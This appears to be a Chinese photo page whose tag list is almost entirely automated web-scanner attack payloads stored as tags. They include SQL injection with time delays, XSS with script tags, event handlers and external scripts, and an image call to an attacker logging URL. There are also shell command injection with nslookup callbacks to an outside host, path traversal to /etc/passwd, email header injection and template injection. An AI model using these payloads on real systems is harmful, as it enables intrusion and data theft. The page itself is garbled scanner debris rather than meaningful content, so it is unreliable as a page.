×
照片标签：
- 1
- 1CtniSitVEO
- response.write(9257414*9642506)
- '+response.write(9257414*9642506)+'
- "+response.write(9257414*9642506)+"
- q5N9ybh8
- echo qxggrl$()\ vjjlzb\nz^xyu||a #' &echo qxggrl$()\ vjjlzb\nz^xyu||a #|" &echo qxggrl$()\ vjjlzb\nz^xyu||a #
- ../../../../../../../../../../../../../../etc/passwd
- &echo itxzlv$()\ pdubar\nz^xyu||a #' &echo itxzlv$()\ pdubar\nz^xyu||a #|" &echo itxzlv$()\ pdubar\nz^xyu||a #
- ../../../../../../../../../../../../../../windows/win.ini
- |echo qssasu$()\ waxniw\nz^xyu||a #' |echo qssasu$()\ waxniw\nz^xyu||a #|" |echo qssasu$()\ waxniw\nz^xyu||a #
- 1 bcc:074625.19568-219289.19568.73f8f.19131.2@bxss.me
- (nslookup hitpuhyeglkxdf2b86.bxss.me||perl -e "gethostbyname('hitpuhyeglkxdf2b86.bxss.me')")
- to@example.com> bcc:074625.19568-219290.19568.73f8f.19131.2@bxss.me
- ../1
- $(nslookup hitmcggunhgaxa01ba.bxss.me||perl -e "gethostbyname('hitmcggunhgaxa01ba.bxss.me')")
- &(nslookup hitgcwxwzglaya556c.bxss.me||perl -e "gethostbyname('hitgcwxwzglaya556c.bxss.me')")&'\"`0&(nslookup hitgcwxwzglaya556c.bxss.me||perl -e "gethostbyname('hitgcwxwzglaya556c.bxss.me')")&`'
- |(nslookup hitdmhzdyvwoe9ff10.bxss.me||perl -e "gethostbyname('hitdmhzdyvwoe9ff10.bxss.me')")
- `(nslookup hitwdmzpytaas87dd0.bxss.me||perl -e "gethostbyname('hitwdmzpytaas87dd0.bxss.me')")`
- 1<esi:include src="http://bxss.me/rpb.png"/>
- 12345'"\'\")
- ${10000343+9999799}
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- 1some_inexistent_file_with_long_name .jpg
- 1&n934765=v900347
- Http://bxss.me/t/fit.txt
- http://bxss.me/t/fit.txt?.jpg
- bxss.me
- )
- !(()&&!|*|*|
- ^(#$!@#$)(()))******
- '"()
- 3WiEgKHK
- -1 OR 2+593-593-1=0+0+0+1 --
- -1 OR 2+631-631-1=0+0+0+1
- '.gethostbyname(lc('hitmk'.'bvufgtkm6d4e7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(69).chr(112).chr(69).'
- -1' OR 2+70-70-1=0+0+0+1 --
- ".gethostbyname(lc("hitmk"."whnzoyiy2c071.bxss.me."))."A".chr(67).chr(hex("58")).chr(99).chr(75).chr(111).chr(66)."
- -1' OR 2+885-885-1=0+0+0+1 or 'KYkM1h6Y'='
- -1" OR 2+920-920-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(15)
- 0)
- HttP://bxss.me/t/xss.html?%00
- bxss.me/t/xss.html?%00
- 0'XOR(if(now()=sysdate()
- 0))XOR'Z
- '
- "+"A".concat(70-3).concat(22*4).concat(120).concat(67).concat(112).concat(89)+(require"socket" Socket.gethostbyname("hitaw"+"veymkvvsd8bc5.bxss.me.")[3].to_s)+"
- "
- bibs
- '+'A'.concat(70-3).concat(22*4).concat(97).concat(79).concat(102).concat(67)+(require'socket' Socket.gethostbyname('hitfj'+'ucmtwrup7c659.bxss.me.')[3].to_s)+'
- ${@print(md5(31337))}
- 0"XOR(if(now()=sysdate()
- 0))XOR"Z
- ${@print(md5(31337))}\
- bibs/.
- '.print(md5(31337)).'
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
- /xfs.bxss.me
- -1
- -1)
- '"
- <!--
- 1 waitfor delay '0:0:15' --
- 8t9NAn7v'
- 1'"()&%<acx><ScRiPt >wEAB(9092)</ScRiPt>
- -5 OR 651=(SELECT 651 FROM PG_SLEEP(15))--
- '"()&%<acx><ScRiPt >wEAB(9901)</ScRiPt>
- 19710800
- -1)) OR 623=(SELECT 623 FROM PG_SLEEP(15))--
- wohRpqub' OR 809=(SELECT 809 FROM PG_SLEEP(15))--
- rw6pZ0kh') OR 581=(SELECT 581 FROM PG_SLEEP(15))--
- WKlVMOZ1')) OR 418=(SELECT 418 FROM PG_SLEEP(15))--
- 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99)
- 15)
- 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98)
- 15)||'
- '||(select 1 from (select pg_sleep(15))x)||'
- ''||(select 1 from (select pg_sleep(15))x)||''
- 1'"
- 1 %2527%2522
- @@OXNg5
- VycoIrJT
- response.write(9679860*9841707)
- '+response.write(9679860*9841707)+'
- "+response.write(9679860*9841707)+"
- 1 bcc:074625.19568-297887.19568.73f8f.19131.2@bxss.me
- to@example.com> bcc:074625.19568-297888.19568.73f8f.19131.2@bxss.me
- echo lgidmg$()\ dhpbsr\nz^xyu||a #' &echo lgidmg$()\ dhpbsr\nz^xyu||a #|" &echo lgidmg$()\ dhpbsr\nz^xyu||a #
- &echo tdplxy$()\ qybzcm\nz^xyu||a #' &echo tdplxy$()\ qybzcm\nz^xyu||a #|" &echo tdplxy$()\ qybzcm\nz^xyu||a #
- |echo pyccdz$()\ zbhsak\nz^xyu||a #' |echo pyccdz$()\ zbhsak\nz^xyu||a #|" |echo pyccdz$()\ zbhsak\nz^xyu||a #
- (nslookup hitkxsypwjlpx47ce5.bxss.me||perl -e "gethostbyname('hitkxsypwjlpx47ce5.bxss.me')")
- ${10000197+10000082}
- $(nslookup hitepbepvxdlq636f8.bxss.me||perl -e "gethostbyname('hitepbepvxdlq636f8.bxss.me')")
- &(nslookup hitnzkdummludfe863.bxss.me||perl -e "gethostbyname('hitnzkdummludfe863.bxss.me')")&'\"`0&(nslookup hitnzkdummludfe863.bxss.me||perl -e "gethostbyname('hitnzkdummludfe863.bxss.me')")&`'
- |(nslookup hitozobwzvivh41f25.bxss.me||perl -e "gethostbyname('hitozobwzvivh41f25.bxss.me')")
- `(nslookup hitclgegywfpb4b01b.bxss.me||perl -e "gethostbyname('hitclgegywfpb4b01b.bxss.me')")`
- 1&n986624=v968739
- '.gethostbyname(lc('hityk'.'hejjaprnb2554.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(102).chr(82).chr(119).chr(84).'
- ".gethostbyname(lc("hitze"."zgtourig97c41.bxss.me."))."A".chr(67).chr(hex("58")).chr(98).chr(71).chr(105).chr(78)."
- "+"A".concat(70-3).concat(22*4).concat(116).concat(85).concat(121).concat(77)+(require"socket" Socket.gethostbyname("hitqh"+"tcfyihxfbf7c3.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(115).concat(85).concat(114).concat(83)+(require'socket' Socket.gethostbyname('hitcx'+'rcdjuete0b6a2.bxss.me.')[3].to_s)+'
- cLYHdMTY
- -1 OR 2+689-689-1=0+0+0+1 --
- -1 OR 2+526-526-1=0+0+0+1
- -1' OR 2+853-853-1=0+0+0+1 --
- -1' OR 2+745-745-1=0+0+0+1 or 'Oi1NuIFs'='
- -1" OR 2+974-974-1=0+0+0+1 --
- 1'"()&%<acx><ScRiPt >sNkz(9096)</ScRiPt>
- '"()&%<acx><ScRiPt >sNkz(9344)</ScRiPt>
- mDScDLkF
- response.write(9516680*9664287)
- '+response.write(9516680*9664287)+'
- 19061143
- "+response.write(9516680*9664287)+"
- sanEJnv4'
- 1%0abcc:074625.19568-297905.19568.37882.19131.2@bxss.me
- -5 OR 94=(SELECT 94 FROM PG_SLEEP(15))--
- to@example.com>%0d%0abcc:074625.19568-297906.19568.37882.19131.2@bxss.me
- -5) OR 954=(SELECT 954 FROM PG_SLEEP(15))--
- ${9999048+10000240}
- -1)) OR 81=(SELECT 81 FROM PG_SLEEP(15))--
- echo yxtkju$()\ hiuzhl\nz^xyu||a #' &echo yxtkju$()\ hiuzhl\nz^xyu||a #|" &echo yxtkju$()\ hiuzhl\nz^xyu||a #
- K584Hmdz' OR 469=(SELECT 469 FROM PG_SLEEP(15))--
- &echo eechdz$()\ sbwama\nz^xyu||a #' &echo eechdz$()\ sbwama\nz^xyu||a #|" &echo eechdz$()\ sbwama\nz^xyu||a #
- |echo grcbyi$()\ phmmpm\nz^xyu||a #' |echo grcbyi$()\ phmmpm\nz^xyu||a #|" |echo grcbyi$()\ phmmpm\nz^xyu||a #
- (nslookup hitdcvfbccnspa38b6.bxss.me||perl -e "gethostbyname('hitdcvfbccnspa38b6.bxss.me')")
- hWm7YgId') OR 192=(SELECT 192 FROM PG_SLEEP(15))--
- 1&n959711=v931086
- $(nslookup hitfqmbcgfrpy19179.bxss.me||perl -e "gethostbyname('hitfqmbcgfrpy19179.bxss.me')")
- &(nslookup hitwjtgoksqiia6201.bxss.me||perl -e "gethostbyname('hitwjtgoksqiia6201.bxss.me')")&'\"`0&(nslookup hitwjtgoksqiia6201.bxss.me||perl -e "gethostbyname('hitwjtgoksqiia6201.bxss.me')")&`'
- V5wabE81')) OR 623=(SELECT 623 FROM PG_SLEEP(15))--
- |(nslookup hitbhqfxkdzeo78040.bxss.me||perl -e "gethostbyname('hitbhqfxkdzeo78040.bxss.me')")
- `(nslookup hitkidekdcada6e552.bxss.me||perl -e "gethostbyname('hitkidekdcada6e552.bxss.me')")`
- '.gethostbyname(lc('hitpr'.'lribsawk02bd8.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(101).chr(77).chr(101).chr(65).'
- ".gethostbyname(lc("hitle"."ffjrwljb89491.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(86).chr(122).chr(85)."
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg
- 1some_inexistent_file_with_long_name%00.jpg
- http://bxss.me/t/fit.txt%3F.jpg
- "+"A".concat(70-3).concat(22*4).concat(116).concat(81).concat(109).concat(81)+(require"socket" Socket.gethostbyname("hittq"+"gosxfhznec626.bxss.me.")[3].to_s)+"
- '+'A'.concat(70-3).concat(22*4).concat(120).concat(83).concat(107).concat(80)+(require'socket' Socket.gethostbyname('hitec'+'aanofktaeef2d.bxss.me.')[3].to_s)+'
- ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
- 1Dt0ZtCmRnO
- ';print(md5(31337));$a='
- @@vCAXL
- ";print(md5(31337));$a="
- 1'"()&%<acx><ScRiPt >QdKW(9777)</ScRiPt>
- '"()&%<acx><ScRiPt >QdKW(9640)</ScRiPt>
- 19575049
- acu5698%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca5698
- acux2201%C0%BEz1%C0%BCz2a%90bcxuca2201
- 1'"()&%<acx><ScRiPt >KqXF(9694)</ScRiPt>
- '"()&%<acx><ScRiPt >KqXF(9522)</ScRiPt>
- 19370476
- <%={{={@{#{${acx}}%>
- <th:t="${acx}#foreach
- 1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
- acx{{98991*97996}}xca
- acx[[${98991*97996}]]xca
- acx__${98991*97996}__::.x
- "acxzzzzzzzzbbbccccdddeeexca".replace("z"
- "o")
- acu10848%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10848
- acux4537%C0%BEz1%C0%BCz2a%90bcxuca4537
- CEinqCJ3
- -1 OR 2+833-833-1=0+0+0+1 --
- -1 OR 2+685-685-1=0+0+0+1
- -1' OR 2+432-432-1=0+0+0+1 --
- -1' OR 2+190-190-1=0+0+0+1 or 'mNNUqAKI'='
- -1" OR 2+460-460-1=0+0+0+1 --
- acu10827%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9uca10827
- acux3270%C0%BEz1%C0%BCz2a%90bcxuca3270
- -1; waitfor delay '0:0:15' --
- -1); waitfor delay '0:0:15' --
- phQ0pwqf'; waitfor delay '0:0:15' --
- -5 OR 31=(SELECT 31 FROM PG_SLEEP(15))--
- -5) OR 480=(SELECT 480 FROM PG_SLEEP(15))--
- -1)) OR 888=(SELECT 888 FROM PG_SLEEP(15))--
- 1%22onmouseover=QdKW(99642)%22
- 9ayeJli7' OR 142=(SELECT 142 FROM PG_SLEEP(15))--
- 1"onmouseover=QdKW(95342)"
- 0wprunm7') OR 749=(SELECT 749 FROM PG_SLEEP(15))--
- 1" 8vkW=QdKW([!+!]) UQd="
- yF3LfrwU')) OR 282=(SELECT 282 FROM PG_SLEEP(15))--
- 1\u0022onmouseover=QdKW(95613)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%51%64%4B%57%28%39%33%36%34%34%29%22
- 1"sTYLe='acu:Expre/**/SSion(QdKW(9883))'bad="
- 1"><script>QdKW(9827)</script>
- 1<ScRiPt >QdKW(9362)</ScRiPt>
- @@9ogZZ
- 1<WA9WNV>HVS4M[!+!]</WA9WNV>
- 1<script>QdKW(9420)</script>
- 1%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%51%64%4B%57%28%39%35%33%32%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
- 1<ScRiPt >QdKW(9384)</ScRiPt>
- 1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9774></ScRiPt>
- 1< ScRiPt >QdKW(9277)</ScRiPt>
- 1<isindex type=image src=1 onerror=QdKW(9829)>
- 1<iframe src='data:text/html;base64
- PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9635'>
- 1<body onload=QdKW(9412)>
- 1<img src=//xss.bxss.me/t/dot.gif onload=QdKW(9583)>
- 1<img src=xyz OnErRor=QdKW(9291)>
- 1<img/src=">" onerror=alert(9758)>
- %31%3C%53%63%52%69%50%74%20%3E%51%64%4B%57%289537%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\QdKW(9535)\u003C/sCripT\u003E
- 1<ScRiPt>QdKW(9523)</sCripT>
- 1<input autofocus onfocus=QdKW(9143)>
- <a HrEF=http://xss.bxss.me></a>
- <a HrEF=jaVaScRiPT:>
- 1}body{acu:Expre/**/SSion(QdKW(9665))}
- 1vSBgx <ScRiPt >QdKW(9534)</ScRiPt>
- 1<WSGLLR>QMTHD[!+!]</WSGLLR>
- 1<ifRAme sRc=9679.com></IfRamE>
- 1<aN18vlW x=9260>
- 1<img sRc='http://attacker-9098/log.php?
- 1<a8OwlET<
微信扫一扫, 保存到手机
